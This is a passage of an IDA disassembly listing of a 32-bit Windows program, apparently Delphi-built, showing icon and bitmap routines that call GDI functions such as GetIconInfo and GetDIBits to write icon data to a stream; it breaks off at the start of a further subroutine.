		mov	eax, [ebp+8]
		mov	eax, [eax+4]
		push	eax
		mov	eax, [ebp+8]
		mov	eax, [eax]
		push	eax
		mov	eax, ds:dword_41E4D4
		push	eax
		call	j_CreateIcon
		mov	edx, [ebp-8]
		mov	[edx], eax
		mov	eax, [ebp-8]
		cmp	dword ptr [eax], 0
		jnz	short loc_414C83
		call	sub_41442C

loc_414C83:				; CODE XREF: CODE:00414C7Cj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_414CA3

loc_414C90:				; CODE XREF: CODE:00414CA1j
		mov	edx, [ebp-18h]
		mov	eax, [ebp-30h]
		call	sub_4025B0
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414C9C:				; DATA XREF: CODE:00414C11o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_414C90
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414CA3:				; DATA XREF: CODE:00414C8Bo
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_414CC6

loc_414CB0:				; CODE XREF: CODE:00414CC4j
		mov	eax, [ebp-40h]
		mov	edx, [eax+8]
		mov	eax, [ebp-2Ch]
		call	sub_4025B0
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414CBF:				; DATA XREF: CODE:00414B77o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_414CB0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414CC6:				; DATA XREF: CODE:00414CABo
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_414CE6

loc_414CD3:				; CODE XREF: CODE:00414CE4j
		mov	edx, [ebp-14h]
		mov	eax, [ebp-10h]
		call	sub_4025B0
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414CDF:				; DATA XREF: sub_4149E8+2Co
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_414CD3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414CE6:				; DATA XREF: CODE:00414CCEo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_414CF0	proc near		; CODE XREF: sub_414DD4+12p
					; sub_414E38+16p

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_44		= word ptr -44h
var_42		= word ptr -42h
var_3C		= dword	ptr -3Ch

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFACh
		mov	esi, ecx
		mov	ebx, edx
		xor	edx, edx
		mov	[esp+54h+var_3C], edx
		push	esp
		push	54h
		push	eax
		call	j_GetObjectA
		test	eax, eax
		jnz	short loc_414D14
		call	sub_4143C0
		jmp	short loc_414D53
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414D14:				; CODE XREF: sub_414CF0+1Bj
		cmp	eax, 40h
		jl	short loc_414D31
		cmp	[esp+54h+var_3C], 28h
		jb	short loc_414D31
		push	esi
		mov	edi, ebx
		lea	esi, [esp+58h+var_3C]
		mov	ecx, 0Ah
		repe movsd
		pop	esi
		jmp	short loc_414D53
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414D31:				; CODE XREF: sub_414CF0+27j
					; sub_414CF0+2Ej
		mov	eax, ebx
		xor	ecx, ecx
		mov	edx, 28h
		call	sub_4028D4
		mov	dword ptr [ebx], 28h
		mov	eax, [esp+54h+var_50]
		mov	[ebx+4], eax
		mov	eax, [esp+54h+var_4C]
		mov	[ebx+8], eax

loc_414D53:				; CODE XREF: sub_414CF0+22j
					; sub_414CF0+3Fj
		mov	eax, esi
		sub	eax, 2
		jz	short loc_414D69
		dec	eax
		sub	eax, 0Eh
		jb	short loc_414D71
		sub	eax, 0F0h
		jb	short loc_414D7C
		jmp	short loc_414D87
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414D69:				; CODE XREF: sub_414CF0+68j
		mov	word ptr [ebx+0Eh], 1
		jmp	short loc_414D95
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414D71:				; CODE XREF: sub_414CF0+6Ej
		mov	word ptr [ebx+0Eh], 4
		mov	[ebx+20h], esi
		jmp	short loc_414D95
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414D7C:				; CODE XREF: sub_414CF0+75j
		mov	word ptr [ebx+0Eh], 8
		mov	[ebx+20h], esi
		jmp	short loc_414D95
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414D87:				; CODE XREF: sub_414CF0+77j
		mov	ax, [esp+54h+var_42]
		imul	[esp+54h+var_44]
		mov	[ebx+0Eh], ax

loc_414D95:				; CODE XREF: sub_414CF0+7Fj
					; sub_414CF0+8Aj ...
		mov	word ptr [ebx+0Ch], 1
		mov	eax, [ebx+20h]
		cmp	eax, [ebx+24h]
		jnb	short loc_414DA6
		mov	[ebx+24h], eax

loc_414DA6:				; CODE XREF: sub_414CF0+B1j
		cmp	dword ptr [ebx+14h], 0
		jnz	short loc_414DCD
		movzx	edx, word ptr [ebx+0Eh]
		mov	eax, [ebx+4]
		mov	ecx, 20h
		call	sub_414664
		mov	ecx, eax
		mov	eax, [ebx+8]
		cdq
		xor	eax, edx
		sub	eax, edx
		imul	ecx, eax
		mov	[ebx+14h], ecx

loc_414DCD:				; CODE XREF: sub_414CF0+BAj
		add	esp, 54h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_414CF0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_414DD4	proc near		; CODE XREF: sub_414EF8+56p
					; sub_414EF8+66p

var_28		= byte ptr -28h
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, edx
		lea	edx, [ebp+var_28]
		mov	ecx, [ebp+arg_0]
		call	sub_414CF0
		mov	ax, [ebp+var_1A]
		cmp	ax, 8
		jbe	short loc_414E06
		mov	dword ptr [ebx], 28h
		test	[ebp+var_18], 3
		jz	short loc_414E2A
		add	dword ptr [ebx], 0Ch
		jmp	short loc_414E2A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414E06:				; CODE XREF: sub_414DD4+1Fj
		mov	edx, [ebp+var_8]
		test	edx, edx
		jnz	short loc_414E20
		mov	ecx, eax
		mov	eax, 1
		shl	eax, cl
		shl	eax, 2
		add	eax, 28h
		mov	[ebx], eax
		jmp	short loc_414E2A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414E20:				; CODE XREF: sub_414DD4+37j
		mov	eax, edx
		shl	eax, 2
		add	eax, 28h
		mov	[ebx], eax

loc_414E2A:				; CODE XREF: sub_414DD4+2Bj
					; sub_414DD4+30j ...
		mov	eax, [ebp+var_14]
		mov	[esi], eax
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_414DD4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_414E38	proc near		; CODE XREF: sub_414EF8+C7p
					; sub_414EF8+DAp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		mov	edi, edx
		mov	esi, eax
		mov	edx, ebx
		mov	ecx, [ebp+arg_0]
		mov	eax, esi
		call	sub_414CF0
		xor	eax, eax
		mov	[ebp+var_8], eax
		push	0
		call	j_CreateCompatibleDC
		mov	[ebp+var_C], eax
		xor	eax, eax
		push	ebp
		push	offset loc_414ED5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	edi, edi
		jz	short loc_414E8C
		push	0
		push	edi
		mov	eax, [ebp+var_C]
		push	eax
		call	j_SelectPalette
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_C]
		push	eax
		call	j_RealizePalette

loc_414E8C:				; CODE XREF: sub_414E38+3Aj
		push	0
		push	ebx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebx+8]
		push	eax
		push	0
		push	esi
		mov	eax, [ebp+var_C]
		push	eax
		call	j_GetDIBits
		test	eax, eax
		setnz	[ebp+var_1]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_414EDC

loc_414EB6:				; CODE XREF: CODE:00414EDAj
		cmp	[ebp+var_8], 0
		jz	short loc_414ECB
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		call	j_SelectPalette

loc_414ECB:				; CODE XREF: sub_414E38+82j
		mov	eax, [ebp+var_C]
		push	eax
		call	j_DeleteDC
		retn
sub_414E38	endp ; sp = -20h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414ED5:				; DATA XREF: sub_414E38+2Do
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_414EB6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414EDC:				; DATA XREF: sub_414E38+79o
		mov	al, [ebp-1]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_414EEC	proc near		; CODE XREF: sub_414EF8+38p
		test	eax, eax
		jnz	short locret_414EF5
		call	nullsub_1

locret_414EF5:				; CODE XREF: sub_414EEC+2j
		retn
sub_414EEC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_414EF8	proc near		; CODE XREF: sub_4157DC+7Ep

var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_52		= word ptr -52h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2A		= byte ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFACh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1], cl
		mov	esi, edx
		mov	ebx, eax
		lea	eax, [ebp+var_2A]
		xor	ecx, ecx
		mov	edx, 6
		call	sub_4028D4
		lea	eax, [ebp+var_54]
		xor	ecx, ecx
		mov	edx, 10h
		call	sub_4028D4
		lea	eax, [ebp+var_44]
		push	eax
		push	esi
		call	j_GetIconInfo
		call	sub_414EEC
		xor	edx, edx
		push	ebp
		push	offset loc_4150E6
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	2
		lea	ecx, [ebp+var_10]
		lea	edx, [ebp+var_8]
		mov	eax, [ebp+var_38]
		call	sub_414DD4
		push	10h
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_C]
		mov	eax, [ebp+var_34]
		call	sub_414DD4
		xor	eax, eax
		mov	[ebp+var_18], eax
		xor	eax, eax
		mov	[ebp+var_1C], eax
		xor	eax, eax
		mov	[ebp+var_20], eax
		xor	eax, eax
		mov	[ebp+var_24], eax
		xor	edx, edx
		push	ebp
		push	offset loc_4150BF
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_8]
		call	sub_406D34
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_10]
		call	sub_406D34
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_C]
		call	sub_406D34
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_14]
		call	sub_406D34
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_1C]
		push	eax
		push	2
		mov	ecx, [ebp+var_18]
		xor	edx, edx
		mov	eax, [ebp+var_38]
		call	sub_414E38
		mov	eax, [ebp+var_24]
		push	eax
		push	10h
		mov	ecx, [ebp+var_20]
		xor	edx, edx
		mov	eax, [ebp+var_34]
		call	sub_414E38
		cmp	[ebp+var_1], 0
		jz	short loc_414FFB
		mov	eax, [ebp+var_C]
		add	eax, 16h
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_10]
		mov	[ebp+var_30], eax
		lea	edx, [ebp+var_30]
		mov	ecx, 4
		mov	eax, ebx
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_414FFB:				; CODE XREF: sub_414EF8+E3j
		mov	[ebp+var_28], 1
		mov	[ebp+var_26], 1
		lea	edx, [ebp+var_2A]
		mov	ecx, 6
		mov	eax, ebx
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	esi, [ebp+var_20]
		mov	eax, esi
		mov	dl, [eax+4]
		mov	[ebp+var_54], dl
		mov	dl, [eax+8]
		mov	[ebp+var_53], dl
		mov	dx, [eax+0Ch]
		imul	dx, [eax+0Eh]
		mov	[ebp+var_52], dx
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_10]
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], 16h
		lea	edx, [ebp+var_54]
		mov	ecx, 10h
		mov	eax, ebx
		mov	edi, [eax]
		call	dword ptr [edi+8]
		mov	eax, esi
		mov	edx, [eax+8]
		add	[eax+8], edx
		mov	edx, [ebp+var_20]
		mov	ecx, [ebp+var_C]
		mov	eax, ebx
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	edx, [ebp+var_24]
		mov	ecx, [ebp+var_14]
		mov	eax, ebx
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	edx, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4150C6

loc_415092:				; CODE XREF: CODE:004150C4j
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_20]
		call	sub_4025B0
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_24]
		call	sub_4025B0
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_18]
		call	sub_4025B0
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_1C]
		call	sub_4025B0
		retn
sub_414EF8	endp ; sp = -84h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4150BF:				; DATA XREF: sub_414EF8+82o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_415092
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4150C6:				; DATA XREF: sub_414EF8+195o
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4150ED

loc_4150D3:				; CODE XREF: CODE:004150EBj
		mov	eax, [ebp-34h]
		push	eax
		call	j_DeleteObject
		mov	eax, [ebp-38h]
		push	eax
		call	j_DeleteObject
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4150E6:				; DATA XREF: sub_414EF8+40o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4150D3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4150ED:				; DATA XREF: CODE:004150CEo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4150F4	proc near		; CODE XREF: sub_4155EC+17p
					; DATA XREF: CODE:004134F0o
		push	ebx
		push	esi
		test	dl, dl
		jz	short loc_415102
		add	esp, 0FFFFFFF0h
		call	sub_402CDC

loc_415102:				; CODE XREF: sub_4150F4+4j
		mov	ebx, edx
		mov	esi, eax
		xor	edx, edx
		mov	eax, esi
		call	sub_402BAC
		mov	eax, esi
		test	bl, bl
		jz	short loc_415124
		call	sub_402D34
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_415124:				; CODE XREF: sub_4150F4+1Fj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4150F4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_41512C	proc near		; DATA XREF: CODE:004134F4o
					; CODE:00413694o
		push	ebx
		mov	byte ptr [eax+18h], 1
		cmp	word ptr [eax+0Ah], 0
		jz	short loc_415142
		mov	ebx, eax
		mov	edx, eax
		mov	eax, [ebx+0Ch]
		call	dword ptr [ebx+8]

loc_415142:				; CODE XREF: sub_41512C+Aj
		pop	ebx
		retn
sub_41512C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_415144	proc near		; CODE XREF: sub_41519C+22p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		cmp	dword ptr [eax+20h], 0
		jz	short loc_41518B
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		mov	ebx, [eax+20h]
		mov	eax, ebx
		mov	edx, ds:off_413498
		call	sub_402C40
		test	al, al
		jz	short loc_415186
		mov	eax, [ebp+arg_0]
		mov	edx, ebx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-8]
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		test	al, al
		jz	short loc_415186
		xor	eax, eax
		jmp	short loc_415198
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415186:				; CODE XREF: sub_415144+28j
					; sub_415144+3Cj
		mov	al, 1
		pop	ebx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41518B:				; CODE XREF: sub_415144+Ej
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-8]
		mov	edx, [eax]
		call	dword ptr [edx+1Ch]
		xor	al, 1

loc_415198:				; CODE XREF: sub_415144+40j
		pop	ebx
		pop	ebp
		retn
sub_415144	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_41519C	proc near		; DATA XREF: CODE:004134E8o
					; CODE:00413688o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		mov	[ebp+var_4], edx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [eax]
		mov	eax, [eax+30h]
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [eax]
		mov	eax, [eax+44h]
		push	eax
		push	ebp
		call	sub_415144
		pop	ecx
		mov	ecx, eax
		mov	edx, offset aData ; "Data"
		mov	eax, [ebp+var_4]
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41519C	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 0FFFFFFFFh, 4
aData		db 'Data',0             ; DATA XREF: sub_41519C+2Ao
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4151E8	proc near		; DATA XREF: CODE:004134FCo
					; CODE:0041369Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jz	short loc_41520D
		mov	eax, ebx
		call	sub_402B58
		mov	edi, eax
		mov	eax, esi
		call	sub_402B58
		cmp	edi, eax
		jz	short loc_415211

loc_41520D:				; CODE XREF: sub_4151E8+Fj
		xor	eax, eax
		jmp	short loc_415213
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415211:				; CODE XREF: sub_4151E8+23j
		mov	al, 1

loc_415213:				; CODE XREF: sub_4151E8+27j
		mov	[ebp+var_1], al
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+1Ch]
		test	al, al
		jnz	short loc_41522C
		mov	eax, esi
		mov	edx, [eax]
		call	dword ptr [edx+1Ch]
		test	al, al
		jz	short loc_415250

loc_41522C:				; CODE XREF: sub_4151E8+37j
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+1Ch]
		test	al, al
		jz	short loc_415242
		mov	eax, esi
		mov	edx, [eax]
		call	dword ptr [edx+1Ch]
		test	al, al
		jnz	short loc_415246

loc_415242:				; CODE XREF: sub_4151E8+4Dj
		xor	eax, eax
		jmp	short loc_415248
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415246:				; CODE XREF: sub_4151E8+58j
		mov	al, 1

loc_415248:				; CODE XREF: sub_4151E8+5Cj
		mov	[ebp+var_1], al
		jmp	loc_415320
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415250:				; CODE XREF: sub_4151E8+42j
		cmp	[ebp+var_1], 0
		jz	loc_415320
		mov	dl, 1
		mov	eax, ds:off_40BE14
		call	sub_402BAC
		mov	[ebp+var_8], eax
		xor	eax, eax
		push	ebp
		push	offset loc_415319
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, [ebp+var_8]
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+44h]
		mov	dl, 1
		mov	eax, ds:off_40BE14
		call	sub_402BAC
		mov	[ebp+var_C], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4152FC
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, [ebp+var_C]
		mov	eax, esi
		mov	ecx, [eax]
		call	dword ptr [ecx+44h]
		mov	eax, [ebp+var_8]
		call	sub_40D84C
		mov	ebx, eax
		mov	eax, [ebp+var_C]
		call	sub_40D84C
		cmp	ebx, eax
		jnz	short loc_4152DD
		mov	eax, [ebp+var_8]
		call	sub_40D84C
		mov	ecx, eax
		mov	eax, [ebp+var_C]
		mov	edx, [eax+4]
		mov	eax, [ebp+var_8]
		mov	eax, [eax+4]
		call	sub_406DCC
		test	al, al
		jnz	short loc_4152E1

loc_4152DD:				; CODE XREF: sub_4151E8+D4j
		xor	eax, eax
		jmp	short loc_4152E3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4152E1:				; CODE XREF: sub_4151E8+F3j
		mov	al, 1

loc_4152E3:				; CODE XREF: sub_4151E8+F7j
		mov	[ebp+var_1], al
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_415303

loc_4152F3:				; CODE XREF: sub_4151E8+119j
		mov	eax, [ebp+var_C]
		call	sub_402BDC
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4152FC:				; DATA XREF: sub_4151E8+ABo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4152F3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415303:				; DATA XREF: sub_4151E8+106o
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_415320

loc_415310:				; CODE XREF: sub_4151E8+136j
		mov	eax, [ebp+var_8]
		call	sub_402BDC
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415319:				; DATA XREF: sub_4151E8+84o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_415310
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415320:				; CODE XREF: sub_4151E8+63j
					; sub_4151E8+6Cj
					; DATA XREF: ...
		mov	al, [ebp+var_1]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4151E8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_41532C:				; DATA XREF: CODE:00413508o
					; CODE:004136A8o
		xor	eax, eax
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_415330:				; DATA XREF: CODE:0041350Co
					; CODE:004136ACo
		mov	al, [eax+19h]
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_415334	proc near		; DATA XREF: CODE:0041352Co
					; CODE:004136CCo

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, eax
		push	20h
		mov	ecx, edx
		mov	eax, ds:off_40BD3C
		mov	dl, 1
		call	sub_40D940
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_41537C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, [ebp+var_4]
		mov	eax, esi
		mov	ecx, [eax]
		call	dword ptr [ecx+50h]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_415383

loc_415373:				; CODE XREF: CODE:00415381j
		mov	eax, [ebp+var_4]
		call	sub_402BDC
		retn
sub_415334	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41537C:				; DATA XREF: sub_415334+1Do
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_415373
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415383:				; DATA XREF: sub_415334+3Ao
		pop	esi
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_415388	proc near		; DATA XREF: CODE:00413548o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		cmp	word ptr [eax+12h], 0
		jz	short loc_4153AB
		mov	bl, [ebp+arg_C]
		push	ebx
		mov	bl, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	ebx
		mov	ebx, eax
		mov	eax, [ebx+14h]
		call	dword ptr [ebx+10h]

loc_4153AB:				; CODE XREF: sub_415388+9j
		pop	ebx
		pop	ebp
		retn	10h
sub_415388	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4153B0:				; DATA XREF: CODE:00413514o
					; CODE:004136B4o
		push	esi
		mov	esi, eax
		mov	eax, esi
		mov	ecx, [eax]
		call	dword ptr [ecx+50h]
		pop	esi
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4153BC	proc near		; DATA XREF: CODE:00413530o
					; CODE:004136D0o

var_4		= dword	ptr -4

